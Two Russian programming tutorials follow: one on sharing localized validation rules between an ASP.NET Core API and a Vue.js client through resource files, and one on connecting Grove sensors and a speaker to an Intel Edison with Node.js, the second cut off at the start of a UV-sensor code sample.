Таким образом, классическое клиент-серверное взаимодействие имеет 2 узла, с зачастую идентичными правилами валидации пользовательского ввода. Данной проблеме в целом, посвящена не одна статья, здесь же будет описано легковесное решение на примере ASP.Net Core API сервера и Vue js клиента.
Для начала определимся с тем, что валидаровать мы будем исключительно запросы пользователя (команды), а не сущности, и, с точки зрения классической 3х слойной архитектуры, наша валидация находится в Presentation Layer.
Серверная часть
===============
Находясь в Visual Studio 2019 я создам проект для серверного приложения, по шаблону ASP.NET Core Web Application, c типом API. ASP из коробки имеет достаточно не полохой и расширяемый механизм валидации — model validation, согласно которому, свойства реквест модели помечаются специфичными валидационными атрибутами.
Рассмотрим это на примере простого контроллера:
```
[Route("[controller]")]
[ApiController]
public class AccountController : ControllerBase
{
[HttpPost(nameof(Registration))]
public ActionResult Registration([FromBody]RegistrationRequest request)
{
return Ok($"{request.Name}, вы зарегистрированы!");
}
}
```
Запрос для регистрации нового пользователя будет выглядеть следующим образом:
**RegistrationRequest**
```
public class RegistrationRequest
{
[StringLength(maximumLength: 50, MinimumLength = 2,
ErrorMessage = "Длина имени должна быть от 2 до 50 символов")]
[Required(ErrorMessage = "Требуется имя")]
public string Name { get; set; }
[Required(ErrorMessage = "Требуется адрес эл. почты")]
[EmailAddress(ErrorMessage = "Некорректный адрес эл. почты")]
public string Email { get; set; }
[Required(ErrorMessage = "Требуется пароль")]
[MaxLength(100, ErrorMessage = "{0} не может превышать {1} символов")]
[MinLength(6, ErrorMessage ="{0} должен быть минимум {1} символов")]
[DisplayName("Пароль")]
public string Password { get; set; }
[Required(ErrorMessage = "Требуется возраст")]
[Range(18,150, ErrorMessage = "Возраст должен быть в пределах от 18 до 150")]
public string Age { get; set; }
[DisplayName("Культура")]
public string Culture { get; set; }
}
```
Здесь используются готовые валидационные атрибуты, из пространства имен System.ComponentModel.DataAnnotations. Обязательные свойства помечаются атрибутом Required. Таким образом, при отправке пустого JSON("{}"), наш API вернет:
```
{
...
"errors": {
"Age": [
"Требуется возраст"
],
"Name": [
"Требуется имя"
],
"Email": [
"Требуется адрес эл. почты"
],
"Password": [
"Требуется пароль"
]
}
}
```
Первая проблема, с которой можно столкнуться на данном этапе, это локализация описания ошибок. К слову, ASP имеет встроенные средства локализации, рассмотрим это позже.
Для проверки длины строковых данных можно воспользовалься атрибутами с говорящими именами: StringLength, MaxLength и MinLength. При этом, форматированием строк(фигурные скобки), можно интегрировать в сообщение пареметры атрибутов. Например, для имени пользователя мы вставляем в сообщение минимальную и максимальную длину, а для пароля "display name", указанный в одноименном атрибуте. Атрибут Range ответственен за проверку значения, которое долно быть в указанном диапазоне.
Давайте отправим запрос с недопустимо короткими именем и паролем:
```
{
"Name": "a",
"Password" : "123"
}
```
В ответе от сервера можно найти новые сообщения об ошибках валидации:
```
"Name": [
"Длина имени должна быть от 2 до 50 символов"
],
"Password": [
"Пароль должен быть минимум 6 символов"
]
```
Проблема, которая может быть, до поры до времени, неочевидна, заключается в том, что граничные значения длины имени и пароля необходимо также иметь в клиентском приложении. Ситуация, при которой, одни и те же данные, вручную задаются в двух или бодее местах, это потенциальный рассадник багов, один из признаков некачественного дизайна. Давайте это исправим.
Будем хранить все, что потребуется клиенту в файлах ресурсов. Сообщения в Controllers.AccountController.ru.resx, а культурно-независимые данные в общем ресурсе: Controllers.AccountController.resx. Я придерживаюсь такого формата:
```
{PropertyName}DisplayName
{PropertyName}{RuleName}
{PropertyName}{RuleName}Message
```
**Таким образом, получим следующую картину**
Обратите внимание, что для валидации адреса эл. почты используется регуляоное выражение. А для валидации культуры, используется кастомное правило — "Values"(список значений). Также понадобится проверка поля подтверждения пароля, которое мы увидим позже, на UI.
Для доступа к файлам ресурсов для конкретной культуры, добавим поддержку локализации в методе Startup.ConfigureServices, указав путь к файлам ресурсов:
```
services.AddLocalization(options => options.ResourcesPath = "Resources");
```
А также в методе Startup.Configure определение культуры по header запроса пользовател:
```
app.UseRequestLocalization(new RequestLocalizationOptions
{
DefaultRequestCulture = new RequestCulture("ru-RU"),
SupportedCultures = new[]
{
new CultureInfo("en-US"),
new CultureInfo("ru-RU")
},
RequestCultureProviders = new List
{
new AcceptLanguageHeaderRequestCultureProvider()
}
});
```
Теперь, чтобы внутри контроллера, мы имели доступ к локализации, внедрим в конструктор зависимость типа IStringLocalizer, и модифицируем возвращаемое выражение экшена Registration:
```
return Ok(string.Format(_localizer["RegisteredMessage"], request.Name));
```
За проверку правил будет отвечать класс ResxValidatior, который и будет использовать созданные ресурсы. Он содержит зарезервированный список ключевых слов, пресет рулов, и метод для их проверки.
**ResxValidatior**
```
public class ResxValidator
{
public const char ValuesSeparator = ',';
public const char RangeSeparator = '-';
public enum Keywords
{
DisplayName,
Message,
Required,
Pattern,
Length,
MinLength,
MaxLength,
Range,
MinValue,
MaxValue,
Values,
Compare
}
private readonly Dictionary> \_rules =
new Dictionary>()
{
[Keywords.Required] = (v, arg) =>
!string.IsNullOrEmpty(v),
[Keywords.Pattern] = (v, arg) =>
!string.IsNullOrWhiteSpace(v) && Regex.IsMatch(v, arg),
[Keywords.Range] = (v, arg) =>
!string.IsNullOrWhiteSpace(v) && long.TryParse(v, out var vLong) &&
long.TryParse(arg.Split(RangeSeparator)[0].Trim(), out var vMin) &&
long.TryParse(arg.Split(RangeSeparator)[1].Trim(), out var vMax) &&
vLong >= vMin && vLong <= vMax,
[Keywords.Length] = (v, arg) =>
!string.IsNullOrWhiteSpace(v) &&
long.TryParse(arg.Split(RangeSeparator)[0].Trim(), out var vMin) &&
long.TryParse(arg.Split(RangeSeparator)[1].Trim(), out var vMax) &&
v.Length >= vMin && v.Length <= vMax,
[Keywords.MinLength] = (v, arg) =>
!string.IsNullOrWhiteSpace(v) && v.Length >= int.Parse(arg),
[Keywords.MaxLength] = (v, arg) =>
!string.IsNullOrWhiteSpace(v) && v.Length <= int.Parse(arg),
[Keywords.Values] = (v, arg) =>
!string.IsNullOrWhiteSpace(v) &&
arg.Split(ValuesSeparator).Select(x => x.Trim()).Contains(v),
[Keywords.MinValue] = (v, arg) =>
!string.IsNullOrEmpty(v) && long.TryParse(v, out var vLong) &&
long.TryParse(arg, out var argLong) && vLong >= argLong,
[Keywords.MaxValue] = (v, arg) =>
!string.IsNullOrEmpty(v) && long.TryParse(v, out var vLong) &&
long.TryParse(arg, out var argLong) && vLong <= argLong
};
private readonly IStringLocalizer \_localizer;
public ResxValidator(IStringLocalizer localizer)
{
\_localizer = localizer;
}
public bool IsValid(string memberName, string value, out string message)
{
var rules = \_rules.Select(x => new
{
Name = x.Key,
Check = x.Value,
String = \_localizer.GetString(memberName + x.Key)
}).Where(x => x.String != null && !x.String.ResourceNotFound);
foreach (var rule in rules)
{
if (!rule.Check(value, rule.String?.Value))
{
var messageResourceKey = $"{memberName}{rule.Name}{Keywords.Message}";
var messageResource = \_localizer[messageResourceKey];
var displayNameResourceKey = $"{memberName}{Keywords.DisplayName}";
var displayNameResource = \_localizer[displayNameResourceKey] ?? displayNameResourceKey;
message = messageResource != null && !messageResource.ResourceNotFound
? string.Format(messageResource.Value, displayNameResource, rule.String?.Value)
: messageResourceKey;
return false;
}
}
message = null;
return true;
}
}
```
Создадим кастомный валидационный атрибут, который и будет вызывать наш валидатор. Здесь стандартная логика получение значения поверяемого свойства модели, его имени и вызов валидатора.
**ResxAttribute**
```
public sealed class ResxAttribute : ValidationAttribute
{
private readonly string _baseName;
private string _resourceName;
public ResxAttribute(string sectionName, string resourceName = null)
{
_baseName = sectionName;
_resourceName = resourceName;
}
protected override ValidationResult IsValid(object value, ValidationContext validationContext)
{
if (_resourceName == null)
_resourceName = validationContext.MemberName;
var factory = validationContext
.GetService(typeof(IStringLocalizerFactory)) as IStringLocalizerFactory;
var localizer = factory?.Create(_baseName,
System.Reflection.Assembly.GetExecutingAssembly().GetName().Name);
ErrorMessage = ErrorMessageString;
var currentValue = value as string;
var validator = new ResxValidator(localizer);
return validator.IsValid(_resourceName, currentValue, out var message)
? ValidationResult.Success
: new ValidationResult(message);
}
}
```
Наконец можно заменить все атрибуты в реквесте на наш универсальный, с указанием имени ресурса:
```
[Resx(sectionName: "Controllers.AccountController")]
```
Проверим работоспособность, отправив тот же запрос:
```
{
"Name": "a",
"Password" : "123"
}
```
Для локализации добавим Controllers.AccountController.en.resx с сообщениями на английском языке, а также header, с информацией о культуре: Accept-Language:en-US.
Обратите внимание, что теперь мы можем переопределять настройки для конкретной культуры. В файле \*.en.resx я указал минимальную длину пароля 8, и получил сооответствующее сообщение:
```
"Password": [
"Password must be at least 8 characters"
]
```
Для отображения идентичных сообщенеий в ходе клиентской валидации необходимо как-то экспортировать весь список сообщений для клиентской части. Для простоты, сделаем отдельный контроллер, который будет отдавать все необходимое для клиенсткого приложения в формате i18n.
**LocaleController**
```
[Route("[controller]")]
[ApiController]
public class LocaleController : ControllerBase
{
private readonly IStringLocalizerFactory _factory;
private readonly string _assumbly;
private readonly string _location;
public LocaleController(IStringLocalizerFactory factory)
{
_factory = factory;
_assumbly = System.Reflection.Assembly.GetExecutingAssembly().GetName().Name;
_location = Path.Combine(Directory.GetCurrentDirectory(), "Resources");
}
[HttpGet("Config")]
public IActionResult GetConfig(string culture)
{
if (!string.IsNullOrEmpty(culture))
{
CultureInfo.CurrentCulture = new CultureInfo(culture);
CultureInfo.CurrentUICulture = new CultureInfo(culture);
}
var resources = Directory.GetFiles(_location, "*.resx", SearchOption.AllDirectories)
.Select(x => x.Replace(_location + Path.DirectorySeparatorChar, string.Empty))
.Select(x => x.Substring(0, x.IndexOf('.')))
.Distinct();
var config = new Dictionary>();
foreach (var resource in resources.Select(x => x.Replace('\\', '.')))
{
var section = \_factory.Create(resource, \_assumbly)
.GetAllStrings()
.OrderBy(x => x.Name)
.ToDictionary(x => x.Name, x => x.Value);
config.Add(resource.Replace('.', '-'), section);
}
var result = JsonConvert.SerializeObject(config, Formatting.Indented);
return Ok(result);
}
}
```
В зависимости от Accept-Language он вернет:
**Accept-Language:en-US**
```
{
"Controllers-AccountController": {
"AgeDisplayName": "Age",
"AgeRange": "18 - 150",
"AgeRangeMessage": "{0} must be {1}",
"EmailDisplayName": "Email",
"EmailPattern": "^[-\\w.]+@([A-z0-9][-A-z0-9]+\\.)+[A-z]{2,4}$",
"EmailPatternMessage": "Incorrect email",
"EmailRequired": "",
"EmailRequiredMessage": "Email required",
"LanguageDisplayName": "Language",
"LanguageValues": "ru-RU, en-US",
"LanguageValuesMessage": "Incorrect language. Possible: {1}",
"NameDisplayName": "Name",
"NameLength": "2 - 50",
"NameLengthMessage": "Name length must be {1} characters",
"PasswordConfirmCompare": "Password",
"PasswordConfirmCompareMessage": "Passwords must be the same",
"PasswordConfirmDisplayName": "Password confirmation",
"PasswordDisplayName": "Password",
"PasswordMaxLength": "100",
"PasswordMaxLengthMessage": "{0} can't be greater than {1} characters",
"PasswordMinLength": "8",
"PasswordMinLengthMessage": "{0} must be at least {1} characters",
"PasswordRequired": "",
"PasswordRequiredMessage": "Password required",
"RegisteredMessage": "{0}, you've been registered!"
}
}
```
**Accept-Language:ru-RU**
```
{
"Controllers-AccountController": {
"AgeDisplayName": "Возраст",
"AgeRange": "18 - 150",
"AgeRangeMessage": "{0} должен быть в пределах {1}",
"EmailDisplayName": "Адрес эл. почты",
"EmailPattern": "^[-\\w.]+@([A-z0-9][-A-z0-9]+\\.)+[A-z]{2,4}$",
"EmailPatternMessage": "Некорректный адрес эл. почты",
"EmailRequired": "",
"EmailRequiredMessage": "Требуется адрес эл. почты",
"LanguageDisplayName": "Язык",
"LanguageValues": "ru-RU, en-US",
"LanguageValuesMessage": "Некорректный язык. Допустимые значения: {1}",
"NameDisplayName": "Имя",
"NameLength": "2 - 50",
"NameLengthMessage": "Длина имени должна быть {1} символов",
"PasswordConfirmCompare": "Password",
"PasswordConfirmCompareMessage": "Пароли не совпадают",
"PasswordConfirmDisplayName": "Подтверждение пароля",
"PasswordDisplayName": "Пароль",
"PasswordMaxLength": "100",
"PasswordMaxLengthMessage": "{0} не может превышать {1} символов",
"PasswordMinLength": "6",
"PasswordMinLengthMessage": "{0} должен быть минимум {1} символов",
"PasswordRequired": "",
"PasswordRequiredMessage": "Требуется пароль",
"RegisteredMessage": "{0}, вы зарегистрированы!"
}
}
```
Последнее, что осталось сделать, это разрешить сross-origin запросы для клиента. Для этого в Startup.ConfigureServices добавим:
```
services.AddCors();
```
а в Startup.Configure добавим:
```
app.UseCors(x => x
.AllowAnyOrigin()
.AllowAnyMethod()
.AllowAnyHeader());
```
Клиентская часть
================
Я предпочитаю видеть в одной IDE все части приложения, поэтому создам проект клиентского приложения с помощью шаблона Visual Studio: Basic Vue.js Web Application. Если у вас его нет/вы не хотите засорять VS подобными шаблонами, воспользуйтесь vue cli, с помощью него я до установлю ряд пакетов: vuetify, axios, vue-i18n.
Запросим сконвертированные файлы ресурсов у LocaleController, указав в заголовке Accept-Language культуру, и поместим ответ в файлы en.json и ru.json, в каталог locales.
Далее нам понадобится сервис для парсинга ответа с ошибками от сервера.
**errorHandler.service.js**
```
const ErrorHandlerService = {
parseResponseError (error) {
if (error.toString().includes('Network Error')) {
return 'ServerUnavailable'
}
if (error.response) {
let statusText = error.response.statusText;
if (error.response.data && error.response.data.errors) {
let message = '';
for (let property in error.response.data.errors) {
error.response.data.errors[property].forEach(function (entry) {
if (entry) {
message += entry + '\n'
}
})
}
return message
} else if (error.response.data && error.response.data.message) {
return error.response.data.message
} else if (statusText) {
return statusText
}
}
}
};
export { ErrorHandlerService }
```
Встроенный во Vutify.js валидатор vee-validate требует указать атрибутом rules, массив функций-проверок, их мы будем запрашивать у сервиса для работы с ресурсами.
**locale.service.js**
```
import i18n from '../i18n';
const LocaleService = {
getRules(resource, options) {
let rules = [];
options = this.prepareOptions(options);
this.addRequireRule(rules, resource, options);
this.addPatternRule(rules, resource, options);
this.addRangeRule(rules, resource, options);
this.addLengthRule(rules, resource, options);
this.addMaxLengthRule(rules, resource, options);
this.addMinLengthRule(rules, resource, options);
this.addValuesRule(rules, resource, options);
this.addCompareRule(rules, resource, options);
return rules;
},
prepareOptions(options){
let getter = v => v;
let compared = () => null;
if (!options){
options = { getter: getter, compared: compared };
}
if (!options.getter) options.getter = getter;
if (!options.compared) options.compared = compared;
return options;
},
addRequireRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'Required');
if(settings){
rules.push(v => !!options.getter(v) || settings.message);
}
},
addPatternRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'Pattern');
if(settings){
rules.push(v => !!options.getter(v) || settings.message);
rules.push(v => new RegExp(settings.value).test(options.getter(v)) || settings.message);
}
},
addRangeRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'Range');
if(settings){
let values = settings.value.split('-');
rules.push(v => !!options.getter(v) || settings.message);
rules.push(v => parseInt(options.getter(v)) >= values[0] &&
parseInt(options.getter(v)) <= values[1] || settings.message);
}
},
addLengthRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'Length');
if(settings){
let values = settings.value.split('-');
rules.push(v => !!options.getter(v) || settings.message);
rules.push(v => options.getter(v).length >= values[0] &&
options.getter(v).length <= values[1] || settings.message);
}
},
addMaxLengthRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'MaxLength');
if(settings){
rules.push(v => !!options.getter(v) || settings.message);
rules.push(v => options.getter(v).length <= settings.value || settings.message);
}
},
addMinLengthRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'MinLength');
if(settings){
rules.push(v => !!options.getter(v) || settings.message);
rules.push(v => options.getter(v).length >= settings.value || settings.message);
}
},
addValuesRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'Values');
if(settings) {
let values = settings.value.split(',');
rules.push(v => !!options.getter(v) || settings.message);
rules.push(v => !!values.find(x => x.trim() === options.getter(v)) ||
settings.message);
}
},
addCompareRule(rules, resource, options){
let settings = this.getRuleSettings(resource, 'Compare');
if(settings) {
rules.push(() => {
return settings.value === '' || !!settings.value || settings.message
});
rules.push(v => {
return options.getter(v) === options.compared() || settings.message;
});
}
},
getRuleSettings(resource, rule){
let value = this.getRuleValue(resource, rule);
let message = this.getRuleMessage(resource, rule, value);
return value === '' || value ? { value: value, message: message } : null;
},
getRuleValue(resource, rule){
let key =`${resource}${rule}`;
return this.getI18nValue(key);
},
getDisplayName(resource){
let key =`${resource}DisplayName`;
return this.getI18nValue(key);
},
getRuleMessage(resource, rule, value){
let key =`${resource}${rule}Message`;
return i18n.t(key, [this.getDisplayName(resource), value]);
},
getI18nValue(key){
let value = i18n.t(key);
return value !== key ? value : null;
}
};
export { LocaleService }
```
Полностью описывать этот сервис большого смысла нет, т.к. он частично дублирует класс ResxValidator. Отмечу, что для проверки правила Compare, где необходимо сравнивать значение текущего свойства с другим, передается объект options, в котором ожидается делегат compared, возвращающий значение для сравнения.
Таким образом, типичное поле формы будет выглядеть следующим образом:
Для label вызывается функция-враппер над locale.service, которая передает полное имя ресурса, а также имя свойства, для которого необходимо получить отображаемое имя. Аналогично для rules. В v-model указана модель для хранения введенных данных.
Для свойства подтверждения пароля необходимо в объекте options передать значения самого пароля:
```
:rules="rulesFor('PasswordConfirm', { compared:() => model.Password })"
```
v-select для выбора языка имеет предопределенный список элементов(это сделано для простоты примера) а также onChange — обработчик. Т.к. мы делаем SPA, мы хотим при выборе пользователем языка менять локализацию, поэтому в onChange селекта осуществляется проверка выбранного языка, и, если он изменился, меняется локаль интерфейса:
```
onCultureChange (value) {
let culture = this.cultures.find(x => x.value === value);
this.model.Culture = culture.value;
if (culture.locale !== this.$i18n.locale) {
this.$i18n.locale = culture.locale;
this.$refs.form.resetValidation();
}
}
```
На этом все, репозиторий с рабочим приложением [находится здесь](https://github.com/sstcvetkov/SharedValidation).
**Подытоживая отмечу**, что сами ресурсы было бы здорово изначально хранить в едином формате JSON, который мы запрашиваем у LocaleController, дабы отвязать его от специфики ASP фреймворка. В ResxValidatior, можно было бы добавить поддержку расширяемости и кастомных правил в частности, а также выделить код, идентичный locale.service, и переписать его в стиле JS, для упрощения поддержки. Однако в данном примере я делаю акцент именно на простоту. | https://habr.com/ru/post/473776/ | null | ru | null |
# Кушать подано, садитесь подключать, пожалуйста
Сегодня Intel Edison с набором датчиков и актюаторов поможет нам сделать следующее: сыграть песенку «В траве сидел кузнечик», определить, хорошо ли течет вода, горит ли огонь, перекачать воду, проверить есть ли в воздухе пары спирта, пыльная ли комната, проследить, как закипает чайник, определить свои координаты, найти магнит. И что-нибудь ещё.
Мы рассмотрим следующие датчики и актюаторы, и как их использовать с Intel Edison.
* Grove — Hall Sensor – датчик Холла.
* Grove – Speaker – динамик.
* Grove — Flame Sensor – датчик огня.
* Grove — LED Bar – светодиодный прогресс индикатор.
* Grove – Encoder – датчик поворота.
* Grove — Gas Sensor (MQ5) – датчик газа.
* Grove — Air quality sensor – датчик качества воздуха.
* Grove — Infrared Temperature Sensor – ИК измеритель температуры.
* G1/4" Water Flow Sensor – датчик потока воды.
* Grove — I2C Motor Driver – драйвер мотора.
* 6V mini water pump – водный насос.
* Grove — Digital Light Sensor – датчик освещения.
* Grove — Alcohol Sensor – датчик алкоголя.
* Grove — Dust Sensor – датчик пыли.
* Planet Geared Motor F280 – мотор.
* Grove – GPS – GPS-модуль.
Примеры работы датчиков можно посмотреть на видео:
Если вы до этого момента не работали с датчиками и Intel Edison посмотрите [предыдущую статью](http://habrahabr.ru/company/intel/blog/260259/).
Прежде чем начнем, небольшое замечание. Если в процессе запуска примеров, у вас будет ошибка при работе с функциями UPM, например, появится следующее сообщение:
```
Cannot find module 'jsupm_rotaryencoder'
```
Значит, вам надо обновить установленные пакеты, в том числе UPM. Делается это очень просто, командой:
```
opkg upgrade
```
Желательно обновлять и прошивку самой платы.
Датчик Холла
------------
[Grove — Hall Sensor](http://www.seeedstudio.com/depot/Grove-Hall-Sensor-p-965.html). SKU: SEN14034P
Применение: Определение наличия магнитного поля. Определение частоты вращения.
Для определения частоты вращения, например, колеса, можно укрепить магнит на колесе и поставить датчик рядом с тем местом, с которым будет проходить магнит, при вращении. Тогда в момент их сближения будет сигнал.
Датчик Холла подключается к любому цифровому входу D2-D8. Выдает 0 – при наличии магнитного поля, 1 – при его отсутствии. На плате датчика расположен светодиод, который включается при появлении магнитного поля.
Пример программы, в которой при отсутствии магнитного поля горит встроенный на плате Intel Edison светодиод. А при наличии он выключается.
Датчик подключаем к D2.
Программа отправляет на встроенный светодиод (D13), значение, считанное с датчика Холла. Используем библиотеку MRAA.
**Исходный код main.js**
```
var mraa = require('mraa');
var hallSensor = new mraa.Gpio(2);
hallSensor.dir(mraa.DIR_IN);
var myOnboardLed = new mraa.Gpio(13);
myOnboardLed.dir(mraa.DIR_OUT);
periodicActivity();
function periodicActivity()
{
var value = hallSensor.read();
myOnboardLed.write(value);
setTimeout(periodicActivity,20);
}
```
Динамик
-------
[Grove – Speaker](http://www.seeedstudio.com/depot/Grove-Speaker-p-1445.html). SKU: COM05051P
Подключается к цифровому выходу. Сигнал, который подается на этот выход, устанавливается на динамике. Поэтому, если быстро менять сигнал с определенной частотой, можно воспроизвести звук. Громкость можно менять подстроечным резистором.
В библиотеке UPM есть функции работы с динамиком.
Пример воспроизведения одной ноты.
```
var groveSpeaker = require('jsupm_grovespeaker');
var mySpeaker = new groveSpeaker.GroveSpeaker(2); // подключаем к D2
mySpeaker.playSound('a’, true, "med");// Ля
```
Функция:
```
playSound('a', false, "med");
```
Первый параметр, нота 'a', 'b', 'c', 'd', 'e', 'f', или 'g' (ля, си, до, ре, ми, фа, соль).
Второй параметр, надо ли использовать Диез для этой ноты.
Третий параметр, октава, может быть «low», «med», или «high».
Длительность задавать нельзя, но каждая нота звучит примерно 0.1 секунды.
Похоже, что звук воспроизводится программно, т. к. динамик можно подключать к любому цифровому выходу. И из-за этого звук получается не особенно чистый, он подхрипывает.
Поэтому для работы со звуком удобно использовать ШИМ, так как он позволяет аппаратно генерировать сигнал. (Про работу с ШИМ, можно почитать в [предыдущей статье](http://habrahabr.ru/company/intel/blog/260259/)).
Динамик подключим к D3, так как он поддерживает ШИМ. (Контакты, которые поддерживают ШИМ, на плате обозначаются тильдой "~", это D3, D5, D6).
Например, вот так можно воспроизвести ноту Ля в течение одной секунды.
**Исходный код main.js**
```
var mraa = require("mraa");
var pwm3 = new mraa.Pwm(3);
freq = 440; // Нота Ля
var period = 1000000 / freq;
pwm3.period_us(period);
pwm3.pulsewidth_us(period/2);
pwm3.enable(true);
setTimeout( function(){pwm3.enable(false);}, 1000);
```
Теперь перейдем к хардкору и вручную запрограммируем мелодию «В траве сидел кузнечик», которая будет звучать чисто и прекрасно.
**Исходный код main.js**
```
var mraa = require("mraa");
var pwm3 = new mraa.Pwm(3);
// частоты нот первой октавы в Гц
// До, До-диез, Ре, Ре-диез, Ми, Фа, Фа-диез, Соль, Соль-диез, Ля, Си-бемоль, Си
var freq = [261.63, 277.18, 293.66, 311.13, 329.63, 349.23, 369.99, 392.00, 415.30, 440.00, 466.16, 493.88 ];
// В траве сидел кузнечик
// мелодия. пары N,V
// N-номер ноты (-1-пауза), длительность 1/V
var notes = [
9,4,
4,4,
9,4,
4,4,
9,4,
8,4,
8,2,
8,4,
4,4,
8,4,
4,4,
8,4,
9,4,
9,2,
9,4,
4,4,
9,4,
4,4,
9,4,
8,4,
8,2,
8,4,
4,4,
8,4,
4,4,
8,4,
9, 1.33];
var currNote = 0;
var baseValue = 1000;// базовая длительность ноты в мс
nextNote();
function nextNote()
{
pwm3.enable(false);
if( currNote >= notes.length / 2 )
{
return;
}
var note = notes[currNote*2];
var value = notes[currNote*2+1];
// Коэффициент октавы:
// 0.25 - большая октава
// 0.5 - малая октава
// 1 - первая октава
// 2 - вторая октава
// 4 - третья октава
// 8 - четвертая октава
// 16 - пятая октава
var octaveScale = 2;// Сыграем во второй октаве, так веселее
console.log('note='+note+' value='+value);
if( note >= 0 )
{
var frequency = freq[ note ] * octaveScale;
var period = 1000000 / frequency;
console.log('frequency='+frequency+ ' Hz');
pwm3.period_us(period);
pwm3.pulsewidth_us(period/2);
pwm3.enable(true);
}
currNote++;
setTimeout( nextNote, baseValue/value);
}
```
Датчик потока воды
------------------
[G1/4" Water Flow Sensor](http://www.seeedstudio.com/depot/G14-Water-Flow-Sensor-p-1345.html). SKU: TEM01071B
Датчик позволяет определить количество проходящей через него воды. Диапазон от 0.3 до 6 литров в минуту. На крышке стрелкой показано направление движения воды.
Внутри сенсора стоит датчик Холла, срабатывающий при вращении внутренней крыльчатки. Частота его срабатывания пропорциональна объему протекающей воды. На выводе датчика меняется сигнал 0 и 1. Мы будем следить за значением сигнала на выходе сенсора и учитывать его изменение с 0 на 1.
Подсчитаем количество импульсов за секунду, то есть частоту их следования. Формула перевода частоты в поток, следующая:
*L = Q /73*,
где Q – частота импульсов (Гц).
L – поток (л/минуту)
С подключением датчика есть небольшие проблемы. У него нет стандартных разъемов. Установлен трехконтактный, а надо четырёх. Но решается просто, если у вас есть три провода Male-Male. Они хорошо вставляются в разъемы.
Подключим датчик к D2.
Программа работает следующим образом. Сделаем два таймера. Первый будет срабатывать раз в миллисекунду и проверять состояние датчика. Если значение из 0 перешло в 1, увеличиваем счетчик импульсов.
Второй таймер будет срабатывать раз в секунду. Он считывает значение подсчитанных импульсов.
Так как мы берем 1 секунду для накопления, то минимальное значение потока будет 1/73 = 0.013 л/мин.
Надо учесть, что алгоритм без прерываний работает менее точно, так как если импульсы приходят слишком часто, то мы их не заметим. У меня на тестах, нормально работало около 230 импульсов в секунду, это около 3 литров в минуту. Если увеличивать скорость, то вычисленное значение начинает уменьшаться. Значение выводится на LCD экран. Для подведения к датчику воды, я купил в магазине шланг диаметром 4 мм.
**Исходный код main.js**
```
var mraa = require('mraa');
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
lcd.setColor(10,10,10);
var waterFlowSensor = new mraa.Gpio(2);
waterFlowSensor.dir(mraa.DIR_IN);
var prev = waterFlowSensor.read();
var count = 0;
setInterval( checkSensor, 1 );
setInterval( countProc, 1000 );
function checkSensor()
{
var curr = waterFlowSensor.read();
// Отслеживаем переход на 1
if( prev === 0 && curr === 1 )
{
count++;
}
prev = curr;
}
function countProc()
{
var litres = count / 73;
var currCount = count;
count = 0;
console.log('count='+currCount+ ' water=' + litres + ' Litres/hour, water=' + (litres/60) + 'L/min');
lcd.setCursor(0,0);
lcd.write("Count=" + currCount + ' ');
lcd.setCursor(1,0);
lcd.write("Flow=" + parseFloat(litres).toFixed(2)+ ' L/min ');
}
```
Датчик огня
-----------
[Grove — Flame Sensor](http://www.seeedstudio.com/depot/Grove-Flame-Sensor-p-1450.html). SKU: SEN05082P
Датчик реагирует на присутствие огня, а точнее на излучение с длинной волны 760nm — 1100nm. Есть возможность настраивать чувствительность с помощью подстроечного резистора. У меня в тесте датчик не реагировал на помещенный рядом с ним зелёный светодиод. Реагировал на белый светодиодный фонарик, только когда центр его луча направлялся на сенсор. При включении газовой зажигалки, датчик срабатывал на расстоянии около 50 сантиметров. Примерно на таком же расстоянии он срабатывал от зажженной спички. Датчик срабатывает и от пульта дистанционного управления. Скорее всего, используется такой же фотодиод, как в бытовой технике. Реагирует на солнечный свет. Но так как чувствительность настраивается, то можно подстроить, чтобы не было ложных срабатываний.
В инструкции сказано, что расстояние срабатывания 0-1 м.
Пример, в котором датчик подключается к D2 и его значение показывается на встроенном на плате светодиоде.
**Исходный код main.js**
```
var mraa = require('mraa');
var flameSensor = new mraa.Gpio(2);
flameSensor.dir(mraa.DIR_IN);
var myOnboardLed = new mraa.Gpio(13);
myOnboardLed.dir(mraa.DIR_OUT);
periodicActivity();
function periodicActivity()
{
var value = flameSensor.read();
myOnboardLed.write(1-value);
setTimeout(periodicActivity,20);
}
```
Бесконтактный ИК датчик температуры
-----------------------------------
[Grove — Infrared Temperature Sensor](http://www.seeedstudio.com/depot/Grove-Infrared-Temperature-Sensor-p-1058.html). SKU: SEN01041P
Бесконтактный инфракрасный датчик температуры. Рабочее расстояние 9 см. Рекомендуется подбирать расстояние экспериментально, настраивая по тающей и кипящей воде.
Надо использовать UPM. Датчик выдает две температуры. Одну окружающей среды, другую измеряемого объекта. Внутри используется сенсор TP-538U.
Пример программы. Датчик подключим к A0 (будут использованы пины A0 и A1). Данные выводятся на консоль и ЖК-экран.
**Исходный код main.js**
```
var OTP538U_AREF = 5.0;// напряжение питания
var tempIRSensor_lib = require('jsupm_otp538u');
// ЖК-экран
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
// Подключаем к A0 (используются пины A0 и A1)
// A0 - внешняя температура
// A1 - температура объекта
var tempIRSensor_obj = new tempIRSensor_lib.OTP538U(0, 1, OTP538U_AREF);
function checkTemp()
{
var tempAmb = tempIRSensor_obj.ambientTemperature();
var tempObj = tempIRSensor_obj.objectTemperature();
var tempAmbStr = parseFloat(tempAmb).toFixed(2);
var tempObjStr = parseFloat(tempObj).toFixed(2);
var outputStr = "Ambient temp: " + tempAmbStr + " C, "
+"Object temp: " + tempObjStr + " C";
lcd.setCursor(0,0);
lcd.write('amb='+tempAmbStr+' ');
lcd.setCursor(1,0);
lcd.write('obj='+tempObjStr+' ');
console.log(outputStr);
}
setInterval(checkTemp, 1000);
```
Датчик ультрафиолета
--------------------
[Grove — UV Sensor](http://www.seeedstudio.com/depot/Grove-UV-Sensor-p-1540.html). SKU: SEN00700P
Датчик подключается к аналоговому входу. Можно просто считывать значение, а можно использовать UPM для перевода в напряжение. При этом библиотека сама усредняет значение, выполняя серию замеров. Из-за этого получение данных с датчика может притормаживать.
**Исходный код main.js**
```
